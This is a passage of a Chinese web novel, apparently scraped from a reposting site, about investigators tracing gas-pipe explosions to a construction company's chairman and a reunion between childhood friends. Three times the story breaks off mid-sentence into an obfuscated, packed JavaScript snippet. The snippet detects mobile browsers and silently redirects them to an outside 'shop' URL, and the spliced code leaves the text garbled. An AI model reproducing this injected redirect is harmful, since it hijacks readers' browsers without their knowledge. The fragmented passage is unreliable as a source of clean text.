事实上,这几天相越也一直在不同的时间段起来,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496098|202510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为了假装偶然碰见今长谷。所以他默默记下了今早的时间,为了每天早上能早点见到今长谷。 “……” 另一边,面对沉思着的相越,两人再次沉默了。 许久,新宫只能感叹一句:“你这家伙真的是个变态啊。” 随之而来的又是遍地的沉默。 不久,开门声响起,这才打破了漫长的沉默。是正副局长,还有今长谷回来了。 “怎么了,今天这么安静?”刚进门,局长就开始伸起了懒腰,似乎回到家一般舒适自在。眼睛转过一圈,觉得有点古怪,便问众人。 新宫和地井望向相越。相越本来还因今长谷回到自己面前而高兴,但被两人紧盯着的感觉相当不好,只能回以一个尴尬的微笑,转过话题:“大嶋先生怎么了?” “把他交给对方的医疗人员,我们就走了。” “那他母亲呢?” “放心,在接受最好的治疗呢。” 闻言,相越安下心来。 “我们还是不能对他们付出太多感情,尽量做到客观理性,明白了吗?虽然透露个人信息这点不太好,但动之以情也是一个好办法。这次你做得很好,新人。”局长少见地认真了起来,他抬起手拍了拍相越的肩膀。 “我不会了。”面对局长的说教,相越否认。 对今长谷以外的人投入感情什么的,才不可能发生。 只是不可否认的是,当时他确实与大嶋产生了共情,但不多。 因为他绝不会做出这种自我牺牲的做法,他一定会找出和重要的人一同活下去的办法。 “是是是,你现在觉得不会,但说不定未来会呢?”局长松开相越的肩膀,耸肩道。 “怎么可能?”相越又反驳对方。 “说够了,就该说正事了。你们两个家伙,有新任务了。刚才已经和今长谷说了具体内容,你之后问她就好。”副局一脸嫌弃地打断争执的两人,并在另一边拍拍相越的肩膀。 “唉……所以千万不要在上班时说很闲。请过来这边吧,新人。”今长谷摆了摆手,示意他过来这边。 但相越没动,而是目光呆滞,动作僵硬,口中还重复刚才听到的消息:“我和前辈一起出外勤?” “对哦,还没和你说。相越,你从今天开始,就是今长谷的搭档了。你们好好相处吧。”局长抛下这句,就不顾众人反应,打了个呵欠,摇摇曳曳地走去自己的办公室。 副局点了个头,也紧随其后,进去自己的办公室稍作休息了。 “耶!我和前辈从今天开始是搭档了。前辈你早就知道了吗?太好了!”得到肯定的答复,还有一个更令他惊喜的消息,相越倏地跳起来,扑到今长谷后面。 今长谷只是冷淡地点点头,并转过身离开。她的冷淡丝毫没有影响相越的心情,他加快脚步,与今长谷并肩前行。 也许相越过于沉浸在那惊喜的消息中,没能留意到——在相越目光呆滞时,今长谷自然流露出的一抹笑容。他脚步轻快,尝试寻求两人之间的话题,拉近距离。 而室内的两人则能清晰地看到今长谷的笑容和两人一唱一和时那和谐的氛围,错愕地“啊”了一声,其后感慨一句:“看来那家伙说的未必是假的啊。” —— 相越坐在副驾驶座上,扣好安全带,随口一问:“现在我们要去哪里,前辈?” “发生爆炸的所有地点。” “现在一共发生了几次爆炸案?” “大概四次。第一次是一个月前,相隔的时间很短,且完全没有规律,地点也没有。而且也没有任何受害者。” “四次?那今天肯定要加班了,还想着和前辈一起吃饭……等一下,没有受害者?”相越本来还轻快的心情变得低落。但还没从不能和今长谷吃饭的悲伤中走出来,就被事故发生的次数和今长谷述说的事实吓了一跳,变得严肃。 “是的,因为发生的地点要不是正在建造的建筑物、废弃工厂,就是快被废弃的,都是正在被翻新的区域。基本上不会有人经过,除了工作需要。” “那还有什么需要注意的地方?前辈。”相越严肃地问。 “没有了,到现场再观察。” “明白了,前辈。” “……” 眼看气氛变得尴尬,相越有点低落,刚才的快乐荡然无存。沉默半晌,今长谷长叹一口气,无奈地安慰道:“请不要难过了,刚上班就要加班,确实太惨了。今天我请你吃夜宵吧。” 瞬间,相越整个人亮起来了。要不是还在驾车,他就要整个人站起来,贴上车顶了。 他惊道:“真的吗,前辈?” “是的。” “那早上的约定呢?”相越担心地补上一句。 “这个就留到下次吧。毕竟这次是我邀请你的。”今长谷无奈道。 “太好了,加班真棒!” “……请你闭嘴。”今长谷忍无可忍。 4. 煤气爆炸案(二) 十几分钟的行车后,两人终于抵达了第一个发生事故的地点——一个即将被翻新的废弃工厂。 因为是废弃工厂,所以原本只有一个壳。现在被炸了个大洞,弥漫的烟雾有些熏鼻,让两人不禁皱了眉。 眼见这幅光景,相越不由得感叹道:“哇,炸得真干净。” “快去检查煤气管道。虽然工作人员已经调查过一次,但还是检查一下缺漏吧。”今长谷催促道。 “明白了。”相越叹了口气,还是乖乖去做事。 为了增加效率,两人兵分两路,分别到尾部和头部检查,到了中间的时候才汇合。 果然,就如两人所料,在爆炸的一刻产生了只有契约者使用能力才有的能量波动。 也和其他工作人员说的一致——管道上留着不自然的破洞以及歪曲。 契约者管理科的工作就是这样:检查以及确认能力的波动。 这下子,两人基本上可以确定是契约者所为了。 剩下的几个地方也是同样的情况。他们马上接手案件,回了办公室。 —— 在回去的路上,相越又坐副驾驶。他明明也有驾照,却因为新人的原因备受照顾,只能在一旁看着别人开。 不过,看着直酱专注的模样也不是不行。只是如果可以的话,他还是更想展现自己的魅力。 对了,既然是后辈的话…… “前辈,被故意歪曲的煤气管道附近都没有痕迹。犯人应该对设计相当熟悉吧。”相越报告道。 “你说得对,制造商皐月会社员工的嫌疑很大。回去就去探访吧。”今长谷没有移开视线,不过认可了相越的想法。 相越就因为这样小小的认同,心里暖了起来。 一回办公室,新宫就悠悠然地走出来迎接两人。 “所以呢?犯人是谁?” “不知道,但皐月会社社员的嫌疑很大。” “皐月会社?哦,我家也是他们造的。”新宫大小姐惊呼一声,摸摸脸,靠近两人。 似乎是因为没有事情做,闷得不行,新宫自来熟似的走到两人中间,插入他们的讨论:“他们家竟然出了这种意外,看来得找他们老板说说了。我可不想我家也爆炸。” “我们正要去突击他们,新宫桑也要去吗?”今长谷从资料堆中抬起头,邀请对方。 “那还等什么?你们两个快去吧。”新宫摇了摇头,赶忙催促两人。 看到新宫的推辞之意,今长谷与相越对视一眼,明白了对方的意思。她扶着下巴,皱着眉,对现状有些担忧:“现在还没有证据,要闯进去会比较麻烦,除非有地位高的人去威慑一下对方。” 相越恍然大悟,一下子站起来:“我去叫局长他们!” 他快步跑到正副局长门前,蹑手蹑脚地在门口窥伺里面的状况,随后脚步轻轻地走回来,小声对两人说:“他们睡着了。要叫他们起来吗?” “你蠢吗?局长有起床气,到时候遭殃的不只是你,还有我。”新宫打了一个哆嗦,叹了口气,才继续说,“行了,不用演戏了,我也去就行了吧。正好我也要去拿捏拿捏他们。要是我家爆炸的话,我可不能轻饶他们。还在这里磨磨蹭蹭什么?走吧。” “那你刚才怎么不去?”今长谷收起所有演技,面无表情地吐槽道。 “你蠢吗?他们总部也是他们家造的,要是爆炸怎么办?”大小姐瞬间炸雷。 “这里也是他们造的。”今长谷又补了一刀。 “……” 今长谷的吐槽语出惊人,让两人瞬间陷入沉默。 “快走吧,太可怕了。本小姐明天要继续请假。”新宫大小姐又打了个哆嗦,加快了脚步离开。 “无故缺勤一天,工资扣三成。”今长谷又回怼道。 “本小姐有钱。”大小姐不服输地向两人炫富。 “无故缺勤三天,离职处理。”今长谷又补一刀。 “……”大小姐又沉默了。与之相对,相越的笑声震耳欲聋,形成巨大的对比。 几人上了车,快速到达皐月会社总部。 一踏进大门,便能看到前台。前台后方的墙壁上刻着一句话:“要盖高楼,需要一砖一瓦,一点一滴垒砌。” 非常普通的激励人心语句,只是后面还加上了高桥匠平这个名字、一张地中海发型的中年男士照片,以及“皐月会社社长”这个职称。 看来今天几人就是要去会会这位男士了。 只是刚到前台表明来意,前台小姐就抱歉地笑笑说:“抱歉,今天董事长不在,可以改天探访吗?” “如果我说今天无论如何都要见到贵方呢?和你后面的人说,来人是新宫家的大小姐,名为新宫真理子。我是来问询他帮我们家建造房子的事宜的。这样就可以了。”面对无论如何也不允许几人进入的皐月会社,大小姐拿出了自己的身份去压对方的气势。 对方显然也被“新宫大小姐”这个名号吓到了。前台小姐不知如何在两个大人物之间的夹缝里生存,显得有些慌张。但碍于公司员工的身份,她不能偏袒对方,只能照上头的命令行事,继续拒绝。 不过,面对新宫家的大小姐,作为公司门面的代表还是得留点余地。所以她保持笑容,说道:“抱歉,无论是谁都不能随意进入公司。或许我可以通知大经理下来接待您。请您在那边沙发上稍等一下。谢谢您的合作。” 虽然没能见到原本的目标,但至少见到了公司的高层。要是没有新宫大小姐,只凭相越和今长谷这两个普通打工人的身份,对方可能直接就拒绝了。 对此,相越大为感动,深情地望向今长谷:“新宫桑是大小姐,真是太好了。” 平时情绪很少的今长谷也点了点头,欣慰地说:“是啊。” 对这样的两人,大小姐感到相当无奈。碍于还要与对方对峙,她只是剜了两人一眼,就继续保持警惕。 过了一会儿,一名体态良好、发量茂密的中年男性从电梯里走出来,对几人鞠躬道歉:“非常抱歉让几位久等了。我是岩田浩,是皐月会社的大经理。社长现在要务在身,无法与各位会面,抱歉。” 态度看上去非常诚恳。但从他过了好几分钟才过来,且仍然不让几人与董事长会面来看,会社方对几人的态度并不怎么重视。 因此新宫大小姐立马炸毛了,她质问对方:“要是我家的房子爆炸了,你们打算怎么赔偿?” “请您放心,我们有专人定期为您进行维护服务。如果还是不放心的话,现在就可以立刻安排一次维修服务。”说完这番话,岩田举起右手指向门口,意思是要几人离开。 “冒然拜访非常抱歉,但实在是有要事在身,不得不前来打扰,请见谅。岩田先生,除了这件事以外,还有其他事想要拜托您。”无视对方赶客的动作,今长谷走到新宫身前,挡住他射向两人的视线,并打断两人剑拔弩张的气氛,向岩田搭话。 “这位是契约者管理科的代表吗?你好,有什么可以帮到你?” 岩田直接道出了几人的身份,让今长谷心里一跳。但她脸上还是面不改色,没有任何表情,尽力减少泄露的信息:“我是今长谷直生,这位是相越和希。我们三人都隶属于契约者管理科,想请求贵公司协助调查最近发生的煤气爆炸事件。” “我们应该已经派出过工作人员调查爆炸地点了吧。请问还有什么需要的?如果没有,请您们离开。”说完,他又挥挥手,示意保安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496099|202510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赶走几人。 “如果可以的话,能再补充一下维护的资料吗?比如说维护人员名单和时间表。”今长谷直接提出要求,心里暗想对方要是拒绝,该用什么话术说服。 没想到岩田只是笑笑,然后点头同意了:“当然可以,请跟我来。” 对方突然如此爽快,难免让人多想。几人对视一眼,握好武器,一同跟上岩田。 岩田带着众人走进电梯,按下按钮,电梯开始上升。电梯内过于安静,有点尴尬,尤其是刚才气氛一触即发,相越浑身不舒服。而且身为新人,他能做的也很少,有点闲得慌,于是四处张望,瞧见电梯里也贴着社长的话语。 心下好奇,相越向岩田问道:“请问这句话是社长的座右铭吗?” “是的。我们公司以高质安全的建筑为荣,每一砖每一瓦都是员工费尽心思去做的。所以还请各位为我司澄清,挽回名誉啊。”岩田似乎想到了什么,颇有集体荣誉感,诚恳地向几人拜托道。神情不似作伪,看来他是真的很重视公司的员工。 只是,他在回答有关社长的问题后,并没有讲述社长的事情,也没有吹捧位于他之上的董事长,反倒是夸奖下属的员工,有点可疑。今长谷在心里种下了怀疑的种子。 随后,今长谷开始了商业吹捧:“当然,这就是我们的工作。有您这么好的上司,贵司的工作氛围肯定很好吧。我最近天天加班,都要累死了。” 此乃谎言。要知道,新宫市是一个三线小城市,人口只有几万,每天上班除了偶尔办理契约者相关的事务,就只有一件事——玩手机。换句话来说,就是闷得发慌。 最近新人加入,不知为何工作量有所上升,但不妨碍他们每天上班还是摸鱼。今长谷只是代入了未来几天处理煤气爆炸案要加班的场景,没想到意外地顺利。 “哈哈哈,不敢当。不过小姑娘你要多多休息呀。因为有你们天天加班守护我们,我们才能安心生活啊。谢谢你们呀。”岩田反向夸奖几人。 很普通的一句受到称赞后谦虚的话。只是今长谷又嗅到了可疑的气息——她都已经自贬工作待遇了,对方为什么不顺势炫耀一下他们公司的待遇呢?就算只有一句也好啊。除非他根本夸不出来,心里有鬼。今长谷又在心里记下一笔。 “这都是我们应该的。看来快到了吧。”今长谷看了一眼显示器。果然,话音刚落,“叮”的一声告诉众人已经来到目的地。 岩田带领几人到会客室。一路上经过一个小型办公室,里面的员工有的坐着专注地敲键盘,有的拿着电话与客户聊天,还有的站起来拿着茶杯前往休息室加水。 现在时间是下午四点多,邻近下班时间。如果工作没那么忙,应该已经开始浑水摸鱼,假装认真工作等待下班了。但他们的忙碌不是假的,是真的非常匆忙。 今长谷瞥了相越一眼,示意他行动。他点点头,顿时露出新人上班时的懵懂神情,透露出纯真的愚蠢,试探着问:“他们不是快要下班了吗?” 岩田尴尬地笑笑,有一瞬露出关爱傻子的眼神,不过很快就收了回来,回道:“他们需要完成一天规定的工作,才能吃饭、休息和下班。” “原来如此。那明天再做不可以吗?”相越又问出一个天真愚蠢的问题。 听到这话,岩田沉默了一瞬,嘴角抽搐,随后继续说道:“我们的员工都太勤奋了,就算让他们休息都不肯,生怕被炒。” 对此,相越也沉默了——因为他能看到对方的眼里有一丝不忍,所以才会沉默了一瞬,但还是把话说出来了。实在是看不清他的真心,相越只能回答:“这样啊。” 就这样,几人保持着尴尬的气氛进入会客室。详谈一番,拿到资料后,便回去了。 5. 煤气爆炸案(三) 另一边,相越和今长谷两人一道离开。 他们并肩走着,一直都处于无言的状态,但气氛却非常温馨,相越只希望这一刻可以成为永远,同时如果两人之间的距离可以变成零就好了。 有什么拉近距离的契机呢? 忽然相越就想到今长谷今天出外勤开车时提出的邀约。 他转过头提起刚才的夜宵,打开话题:“刚才地井带来的夜宵很好吃,我也吃了好多。尤其是前辈夹给我的肉,很好吃,谢谢。” “不用谢。”今长谷草草结束话题。 相越不死心,继续说道:“但这么闹腾一轮后,好像又饿了。” “确实是呢。”今长谷面无表情向前走。 相越觉得自己已经很直接了,没想到直酱还是毫无反应。 如此一来,只能突兀地直接要求了,相越叹气道:“刚才前辈不是说过了吗?可以请我吃饭,现在可以吗?” 这个要求可以说是很突兀了,相越总觉得直酱肯定又会用工作之类的理由搪塞自己,暗自做好了独自回家的准备。 没想到对此今长谷没有丝毫不快,只是愣了愣,转过头,立即回复说:“好的。正好我也饿了。我带你去吃一家好吃的,请跟我来吧。” 获得意料之外的答案,相越大喜,得寸进尺地试探道:“此外,我有些想和你说的话,可以听一听吗?” 不知今长谷有没有听到,她只是加快了脚步,无言地带领相越,穿过数个小巷,到了一个小木屋前。小木屋挂着一块木牌,上面写着:“婆婆面馆”。 很明显这是一家面馆,只是位置太偏僻,寻常很难找到。就算真的找到,也会被过于简陋的外表吓到,不敢进去。但其实进去,就知道里面很整洁,没有常见于路边小摊的虫子、油烟气和污垢。 里面只摆了五六张椅子,还有一个年若六十多的老婆婆在看顾店面。看来这个老婆婆就是店名上写的“婆婆”了吧。 婆婆一看到今长谷就咧开嘴笑:“欢迎光临,今长谷桑。今天还是老样子吗?” 今长谷熟稔地搬开一张木椅子坐下,回答道:“是的,拜托你了,婆婆。不过今天除了我之外,还带了同事一起来。” 话落,她摆摆手,让相越走进来。 相越一走进来,婆婆就惊呼:“哎呀,欢迎光临。这还是今长谷桑第一次带人过来呢?今长谷一直以来都麻烦你了,以后还请和她继续好好相处。这孩子虽然看上去很冷淡,性格还有点别扭,但其实非常温柔。” 听到婆婆的话,今长谷红透了脸:“婆婆……” “哈哈哈,这在年轻人的话来说是什么呢?” “傲娇,对吧?婆婆。” 两人瞬间笑成一团。笑过后,相越这才做自我介绍:“我是相越和希,前几天刚入职契约者管理科。前辈对我一直都颇为照顾,非常感谢前辈的照顾。” “今长谷桑跳了三级,三年前入职。那这么说来,你和今长谷桑同岁?” 相越不假思索肯定道:“是的,还同一天生日。” 听到这话,今长谷脸色一暗,很快又恢复正常。 婆婆没有留意到,她惊呼道:“天呀,太巧了。你们两个太有缘分了。” 接着就问:“那和今长谷桑如此有缘的相越桑想吃什么呢?” “和前辈一样就好。”相越完全没有考虑,只想要知道直酱平时吃的食物。 “你确定?”婆婆浮现得逞的笑容,让他再三确认。 “是的,我想知道前辈一直都在吃什么,过着怎样的生活。”相越回答这个问题时,面朝婆婆,但眼睛却一直盯着今长谷。 婆婆自然也能看到相越的眼神一直盯住今长谷,她的笑容更深了:“呼呼,年轻人真是浪漫。那好吧,婆婆我就去准备饭菜了,你们慢慢聊。” 说完,婆婆就走进厨房。狭窄的木屋里只剩下今长谷和相越两人。 一时间,两人相视无言。好不容易鼓起了勇气却…… “前辈……” “新人……” “不对,前辈才是,请说。” “请说。” “……” 两人相视而笑,找回了点熟悉的感觉。笑完后,相越就挑起话题:“那我先说了。我刚才不是说,有想要说的话吗?” 今长谷没有点头,皱着眉头,神色不明。 “直酱,你还记得吧?我是你七年前的小学同学,还有曾经的初中同学这件事。” “依据?”今长谷的眉头皱得更深了。 “我和大嶋说了这七年发生的事情,看似是和他说的,但实际上我是想和你说的。为此,我还被局长骂了。”相越用自己被骂这点打趣道,抛出了证据,“当时你很惊讶。” “……好吧,这件事我确实要和你道歉,对不起。其实我还记得你。”今长谷无力反驳,松开皱着的眉头,道歉。 “直酱,你果然记得!我就知道,你还是一如既往地别扭,不擅长说谎。”相越眼底浮现亮光,头伸到今长谷面前。 今长谷微微偏过头,躲避相越的靠近,但还是维持正对着相越的方向,同时脸颊红了一块,慌乱起来,胡言乱语:“谁说我不擅长说谎了,那只是因为在和,不,新人你面前而已。” “哈哈哈哈哈哈哈……”相越抬起头,忍不住笑出声。 今长谷清咳数声,试图换回严肃的气氛,同时按耐住自己那颗不断跳动的心脏,试图给自己找理由:“…………我一直记得你,毕竟我们是自小一起长大的青梅竹马。可是这几年我们没见面,变了很多……” “所以你想拉开距离?”相越停下笑意,脸上没有任何表情。 “……” 今长谷紧抿着唇,她知道相越这是生气了。不如说他早该生气了,从一开始把他当成小丑耍,假装不认识对方,到后来天天冷漠对待。就算有青梅竹马的回忆作修饰,也早就被她当做小丑的玩具抛开,不剩一点了。 工作时对自己和颜悦色,也只是为了工作所需,不给别人添麻烦罢了。 这样也好,如果他对自己感到厌恶,那当七年前的事件真相被解开时,他一定没那么难过了。那时候,他想向自己寻仇,自己绝对不会拒绝,任由他随心所欲。 虽然现在自己知道的真相只有一点,但也足够对方厌恶自己了。这些事在见到他的第一时间,就该坦白了。 眼前的人毫无笑意,但眼睛的温度仍是炙热的。注视着他的眼睛,今长谷张大嘴巴,想道出真相,却发不出任何声音,深吸一口气也还是毫无用处,换来的只有身体的颤抖。 自己在颤抖,似乎是在害怕什么。 害怕相越会遇到危险? 不,这同样值得担忧,但更多的是关于真相的事情。 想破了头,也找不出答案。今长谷陷入了宕机之中,没有反应。 “相越桑……”今长谷深吸一口气,鼓起勇气喊出自己思绪中出现最多的名字。 “相越桑?”相越皱起眉头,对这个称呼非常不满,打断今长谷的话。 “……”相越突兀地打断今长谷,让她好不容易鼓起的勇气瞬间被打消,同时也不满起来。 “为什么你每次都要在这么突兀的时候,打断别人的话?”今长谷至今为止的怨气爆发出来,气嘟嘟地向对方问道。 今长谷无自觉气地撅起了嘴。她在撒气,在相越看来这是依赖和亲近自己的表现。毕竟眼前的女性绝不是会随便向别人发脾气的人,相当的好脾气。就算真的被气到了,也会默默压到心中,回家自己哭。 可能过了七年,今长谷变得成熟了一点,但本性没有变,还是那个在外人处事得当、行事冷静理性,只在自己面前露出脆弱别扭本性,可爱的少女。 眼见相越毫无反应,今长谷眼尾红了起来,流出一滴泪水。同时她也在暗想怎么自己就那么不争气,明明下定决心要保护他了。怎么多年过去,自己还是控制不住,这么容易就在相越面前哭,也太弱了吧。 正当今长谷正暗自消沉着时,相越擦过她流落脸颊上的泪珠,温柔地说:“这还不是因为是你示意我做的吗?” 今长谷停下哭泣,被转移了注意力,回想起来确实有些是这样,但也知道有些他是故意的,于是反驳道:“那刚才打断高桥和局长就不是了吧?” “哈哈哈,那确实是我故意的,那又怎样?”相越没有反驳,反而是将错就错地承认下来,这屑屑的样子颇有一开始面对副局的模样。但其实这才是他的本性,在今长谷面前装乖,而对其他人无所谓。当然这点两人心知肚明,因为两人都是这样想的。 今长谷立马向相越射了几发眼刀,才说:“好吧,我也是故意嘴他的。因为平时嚣张跋扈的局长,竟然可以变成那副紧张兮兮的样子。对不起……” 原本还在和今长谷一道欢笑的相越,一听到她因自卑而道歉的话语,又皱起眉头,但还是决定接着听她说,听完再作反应,于是他摆出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“所以前辈不是凶手对吧?” “前辈?当然不是,我怎么可能杀害叔叔阿姨呢?”今长谷摇了摇头,想要推开相越,但这次的力度很大,没有离开,“但这不代表什么,很有可能我就是诱因。” “假设前辈真的是诱因,那也不是你的错,是那个叫莱安的混蛋的错。所以不要内疚了,直酱。”相越让她的头靠住自己的胸口,拍拍她的后背。 这正是今长谷一直以来想要听到的话,但她却从来没从任何人口中听到。 从眼前这个自己最重要的人口中出来,只会让她情绪再次失控,一时没忍住哭了起来。多年来一直萦绕在她心中,令她无数个夜晚沾湿了枕头、无法入睡的不安,一时被抚平,似是回到了温暖的家。 这时今长谷才能仔细感受,这份从七年前开始就再也没能感受到的温暖。她紧紧抓住相越的衬衣,泪水就如平时一样沾湿了白色的布。想到害得相越待会儿还要收拾痕迹,她就很内疚。 但她就是停不下来,她太需要这些温暖了。 即使现在呕吐感涌了上来,自我厌恶的情绪止不住。内心的自己叫嚣着:你是个加害者,凭什么哭一哭就能获得受害者的原谅? 明明还有事情没有告诉他。 剩下的才是最不敢,也不能说出来的部分。只把部分知道的真相告诉对方,制造谎言,真有你的,今长谷。 内心充斥着想立马跑到卫生间用凉水洗脸、干呕的冲动,但她只是把衣服抓得更紧,咬着下唇,吸着鼻子,低声抽泣着,不想把失而复得的这份温暖还回去。 至少在那之前,只有这一刻也好,让她贪恋一下这份温暖吧。 今长谷每抽泣一次,男人的手就拍拍她的后背,就如同小时候一样。同时他也透过近距离的接触,仔细观察现在今长谷的长相。 白布制成的口罩早已掉落,露出上天仔细雕琢而成的五官,和七年前相比似乎没有丝毫变化,仍然如人偶一般精致美丽。幼时的长发现在成了方便梳洗的短发,比幼时多了一份英气。虽然很想知道她留短发的原因,但还有很多时间让他慢慢了解她的变化,比如红色的眼瞳,还有多年没有成长的身体。 想到这里,他抱得更紧了,就像失而复得的珍宝一样,绝不让她再次离开。 6. 煤气爆炸案(四) 地井开着车,带领众人来到一座大宅前。 “这里就是高桥桑的家吗?”坐在后排最外侧的是今长谷,她向地井确认。 “好大。”紧接着是相越,他一下车就睁大了眼睛感叹道。 “不愧是无良资本家的家,这里究竟住了几个人啊?”最后排最后下车的是副局,充满了对资本家的怨念。 “你们几个穷鬼没见过世面,少在这里大惊小怪的。我家可比这大多了,下次带你们来见见世面。”新宫坐在副驾驶座,地井开了门,她才慢悠悠下车,看到眼前的大宅,不屑道。 这番话,瞬间引来了在场除了地井之外,几人充满怨念的目光。 “看着我干什么啊,赶紧去敲门呀!”被几人充满怨念的目光盯着,大小姐浑身不自在,推了推在一旁等待众人下一步动作的地井。 地井无奈叹了口气,按下门铃。 几个穿着西式女仆服的仆人打开了门,问道:“请问有什么事吗?” “这里是高桥匠平,也就是皐月会社董事长的家吗?”今长谷走到地井身旁,大概隔了一个手臂的位置,后面两人才安心地点了点头。 当然今长谷和地井并不清楚他们的小动作,只是继续和女仆对峙着。 “是的,但主人现在不方便接待客人,请各位下次再来探访。”女仆说完后,便要拉上大门。 还没拉完,今长谷一手卡在门和门框的空隙,阻止门被拉上。 相越见此连忙抵住大门,这才没有完全压住。 关门的女仆在看到今长谷毫不犹豫把手卡在门中时,已经急得失去了从容,不断地颤抖流冷汗,赶忙拉开大门。 今长谷似无事发生般,面无表情地继续把手放在空隙上,并说道:“我们是契约者管理科派来的,认为你家主人在煤气爆炸案上有重大嫌疑,请你家主人跟我们走一趟吧。” 女仆因为这突如其来的状况吓得发慌,不知道如何应对。以往只要关上门就能把探访的人赶走,谁能想到有人不惜伤害自己也要阻止她呢? 还在犹豫的时候,一道声音传出:“你在干嘛?” 同时传来一阵间隔一长一短的脚步声,声音的主人把女仆推开,是一名发型地中海的中年男子,也就是高桥匠平。他扶着门,气色欠佳,似乎身体真的抱恙,但声音却是中气十足:“怎么可能,别随意污蔑无辜人士!” “您总算出来了。我们有很多问题想要问您,可以请您到契约者管理科办公室来吗?”今长谷面带微笑说。 “你们这是私闯民宅……” 高桥还没说完,今长谷就拿出了几件物品,还有一张纸。这是今长谷离开之前,打开电脑打印的纸张,上面写着几个大字:“搜查令”,检查证还有工作证。 同时,相越也拿了出来。后面的新宫愣了愣,也拿了出来。而副局早在今长谷说出第一句话时就拿出了工作证。 就算平时多颓废,但工作时认真且无论何时都会携带工作证,这就是契约者管理科的众人。 眼见状况如此,高桥也泄了气:“那好吧,你们进来搜查吧。反正不是我干的,我随时接受搜查。” “请让我重复一遍,是到办公室,我们有事情问你。”今长谷没被转移话题,重申了一遍。 高桥愣住,随后才点了点头,对着被推开的女仆命令道:“喂,快叫司机。” “不用了,请让我带着高桥桑到办公室吧。”刚才一直在见机行动的地井打断高桥的话,挥手示意对方上车到后座。 “谁知道你们带我去哪里?”高桥退后一步。 “我以新宫家执事、管家,还有财产管理人的名义担保,我绝不会把高桥匠平带到除了契约者管理科办公室和高桥家宅以外的地方。”地井担保道。 高桥犹豫片刻,才跟着上了车,坐在今长谷和副局的中间。 一到办公室,局长就带着他那不带正形的姿势,倚靠在门口迎接众人,并向高桥伸手打招呼,随后带领几人到会议室。 把高桥带到正中间的座位后,几人便落座。 “所以到底有什么想要问的,快点问吧。我时间不多。”几人落座后,高桥立马催促众人。 “这次主要是想了解一下贵公司的工作待遇,还有运行方式。”刚刚还没个正形,现在却很正经,局长笑眯眯地要求对方直入正题。 “有什么好问的?我们公司所有的工作福利和薪金完全按照法律规定安排和派发。运行方式是公司机密。这里还有新宫家的人,他们虽然不是同行,谁知道有没有加入地产业的想法呢?” 一听到这话,新宫不满地噘嘴。 “那我们离开吧。大小姐,我们走吧。”地井面不改色,立刻牵起大小姐的手,带着她走出会议室。 “这样就可以了吗?”副局问道。 “……” 今长谷又再接再厉,继续问道:“不知您是否知道,契约者一定要遵守的几个规则呢?比如契约者不能攻击主人之类的?” 高桥听到这话,露出一个看傻子的眼神:“谁会不知道这个规则啊?背后的故事可能不知道,但规则就算是幼儿园的小朋友也知道吧。” 闻言,今长谷只是笑意更深了:“那不知您是否知道,其实这些规则是有漏洞的呢?” “漏洞?”高桥疑惑地看向今长谷,似乎不明白她在想什么。这也是,长期利用这个规则玩弄手下的人,怎么会想过怎么突破这个规则呢?就算最初的时候有为此担忧过,也在多年的压迫下习惯成自然,忘记了。 “我刚才也提到,第一条规则,不能攻击主人。这指的是直接的攻击,但间接的呢?”今长谷缓缓地说道。 每吐出一个字,冷意就越发涌上高桥的后背,最后高桥浑身发抖。他猛地站起来:“你骗人,不然怎么可能他们到现在都……” “这当然是只有我们契约者管理科才知道的事。如果人人都知道的话,社会不就乱套了?”局长不知道想到什么,没有注视高桥而是看向远方,但还是把精神集中在会议上,冷笑着反问。 “不过契约者用什么方法知道,我就不知道了。”副局紧接着说。 或许是想到之前做过的缺德事,高桥恐慌地大叫着:“我要申请保护!我可是新宫市最大的地产商的董事长,你们一定要保护我!” “请您放心。无论您是谁,只要您是新宫市的一员,我们就会保护您。所以还请您把知道的都说出来吧。比如为什么您身体抱恙,还有公司员工的资料、待遇这些事……”今长谷承诺道。 “就和你想的一样,我确实身体不舒服,也不是因为生病,而是因为一个多月前的煤气爆炸。那场爆炸后,我双脚双手受伤,还有脑震荡。现在双脚还有些不舒服,但基本已经痊愈了。”可能是因为性命受到威胁,高桥终于老实回答道,并在手机上发了几个信息,让助理把资料发到几人的工作邮件上。当然收到后,他又删掉了。 “一个多月前?”今长谷和相越对视一眼,都从对方眼中看到了怀疑的神色。 “你们不知道也很正常,因为是小型爆炸事故,所以我瞒下来了。我向外界声称是为了拆卸旧区建筑物。正好那片区域也在进行翻新工程,就正好用来做借口。” “原因是?”局长皱起了眉头,问道。 “很简单,因为要是被人知道真相,那片被翻新的楼宇区还能卖出去吗?” “明白了。当时同行以及在场的员工有几个人?”今长谷忽略内心的不适,尽力维持表面的平静。她拿出员工资料,示意高桥圈出同行的员工。 高桥接过后,认真回想着,把全部圈完后递给今长谷:“就是这些。” “明白了,请您回去吧。”今长谷接过资料站起来,几人也站起来,逐客之意很明显。 “不是说了要保护我吗?”高桥继续坐着,俨然一副赖在这里不想走的模样。 